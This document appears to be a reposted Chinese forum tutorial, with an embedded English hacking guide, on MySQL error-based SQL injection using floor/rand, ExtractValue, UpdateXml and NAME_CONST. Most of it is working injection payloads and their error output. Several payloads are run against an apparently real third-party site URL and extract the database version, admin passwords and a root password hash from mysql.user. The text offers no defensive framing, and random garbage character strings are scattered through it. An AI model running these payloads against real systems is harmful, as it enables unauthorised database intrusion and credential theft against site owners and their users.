mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
& x2 {8 X2 K4 x9 A4 `6 t首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
; J; ?% Y3 y' s! k- F| id | title | content |
+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
  u6 n5 f% j& N' u0 k/ tERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
, p; E' H/ k1 z1 `例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
( O$ [; C  _- u, Q9 s测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

: W) ^# H; Z8 w
6 X- }7 T+ F7 b3 q

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
/ ~% P* s. p- m1 y, ~/ @0 x% @# ~
% M$ u. Z8 h" B8 d0 ]: jErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
- a9 F: ?3 }4 V7 i5 ?, h
, D+ D6 d& J- |7 b# |Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
9 R% J* _2 u' n. M& Q) B) Y
8 L% u2 |! A" |( a+ WMYSQL高版本报错注入技巧-利用NAME_CONST注入
9 M$ k! T' g1 L! m* ~$ h2 FIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

- }: [* x+ L& ^5 i* |' H; q
% O" A$ I: P& |+ ?相关信息
/ [0 s4 L% D$ c1 D$ y( H
( U* {3 Q, |% o  n! R; wNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:
4 Y3 [' B/ R4 ^" @$ `NAME_CONST(DATA, VALUE)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

SELECT NAME_CONST('TEST', 1)



7 y% M, U- r, o1 R) x+ W|---------------|
|     TEST      |
% Y2 [9 \+ g( S2 `|               |
|---------------|
|       1       |
; {. a) Q  N! n! j* _3 a|               |
' Z+ L8 s) a6 L" m5 W/ J& Z6 A' x|---------------|
0 t$ C$ I# s7 t1 n' M. c2 X
& O! `: {6 ~* \, M7 W
7 d& J2 M1 Z1 f( a2 |4 ^1 g

http://dev.mysql.com/doc/refman/5.0/en/m...name-const
3 }5 {) w  W8 I! a5 B1 p2 hIntro to MySQL Variables
) O% S6 w2 @0 z3 p* l3 ~# B
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
8 E2 ~" B4 x2 G* |
% F5 C# f  W; Q# a1 ^0 lCode:
+ _3 [/ k6 I2 H* c  _http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
* B9 H/ y! u% c' K, J; \
/ q: K9 p' s) j6 V  p& z, j

" `9 [6 [; |3 M0 y
$ `' p: N) O% Z) }7 A2 V
, C/ ^4 C% d0 ]Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
6 w# @2 R- G7 S" H5 o2 S

% h% q3 ^, w2 S4 H7 b: `. _VAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables
: R0 ^4 G( G- z
Let's try it out on my site..

% `( {5 k" G! [: i: sCode:
  \$ n, ~$ P5 j1 f( Phttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
( X! {3 @4 I9 I% D  L
Erroruplicate column name '5.0.27-community-nt'
( q) ~, H% W. S$ R* U. e8 Y
  v8 i) C' P7 v
6 v6 k8 D4 Z1 T4 Y4 q' H% N8 `
1 K* F4 t, z. e. \
; B6 J1 J' V6 t4 g7 R
% |3 O. C- E$ G# xNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

# A- O3 o# q0 d) \Data Extraction

) i! u/ h- T* v$ XCode:
6 a) g- J2 V: D& @4 M& c+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--


; T4 |: e& }' ], Y7 CWe should get a duplicate column 1 error...

4 B/ |. J& p" F0 pCode:
# M5 \; J: z1 N2 D4 q  T; u5 E# Ehttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

* `4 w! K& \1 p0 a9 YErroruplicate column name '1

; K& O! j) j# A( x9 E" V

" q) y0 S9 @( q) g! g1 \


Now let's get the tables out this bitch..
& F0 ?# ]- E- x( y! V  [: T
) |3 i- p/ l. d  A5 M, u' B+ x5 kCode:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
+ B; R0 S3 t1 j. ^; B

Let's see if it works here, if it does, we can go on and finish the job.

& t" V- `2 B- H9 UCode:
) |6 q5 b. _7 Qhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
. q' o/ R4 f' Z" w7 u3 p

Erroruplicate column name 'com_admanage


( V/ C% p0 l7 m, E1 h( n' @9 m

" j: z- _7 `. ]  t

. _. Z$ ~' }5 h" q% ZNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.

Let's get the columns out of the user table..

: N' f3 G  s  [8 j1 }- J# @0 D' Z. J0 ICode:
; \* u! E" }, x6 _/ E' ?+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
- v: a6 K8 H" u7 _% x7 r

' s0 k3 e: @7 T- MSo mine looks like this, and I get the duplicate column name 'Host'.
7 t! B" f- S- |* w
+ N, m- X9 i- x$ H3 Q9 l1 R% aCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

; |2 D, x& T! h5 cErroruplicate column name 'Host'
- O. p9 N0 t' a% y8 R/ i9 ?. c
+ A0 M8 `  p4 b9 J
6 K! Q3 B: t5 q# |: T
1 c6 T- s" c/ c, O7 P; G
# O; F. Z$ K8 m

- c! D- G. V& S2 F+ GWoot, time to finish this bitch off.
0 c8 D& t1 r! a) V
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

2 H: o/ a5 Q* v! l* }) ^
So mine looks like this...
$ c+ q% h  N/ a( A
7 K+ y( k$ y7 z. UCode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
% R, r8 C# C8 E, \1 Y

6 P5 m0 \: E' o$ H8 v: w
+ q( M* G' k3 N" x2 a9 U
' f$ L* X0 B+ i. U6 J
- s1 ~8 G4 V) N2 Q/ J: z. X' L9 @
% Y2 c& r0 S; nAnd there we have it, thanks for reading.
" E" A  D6 y" L# m! l4 G
1 ?4 [2 ?2 R  n& g  j$ f1 \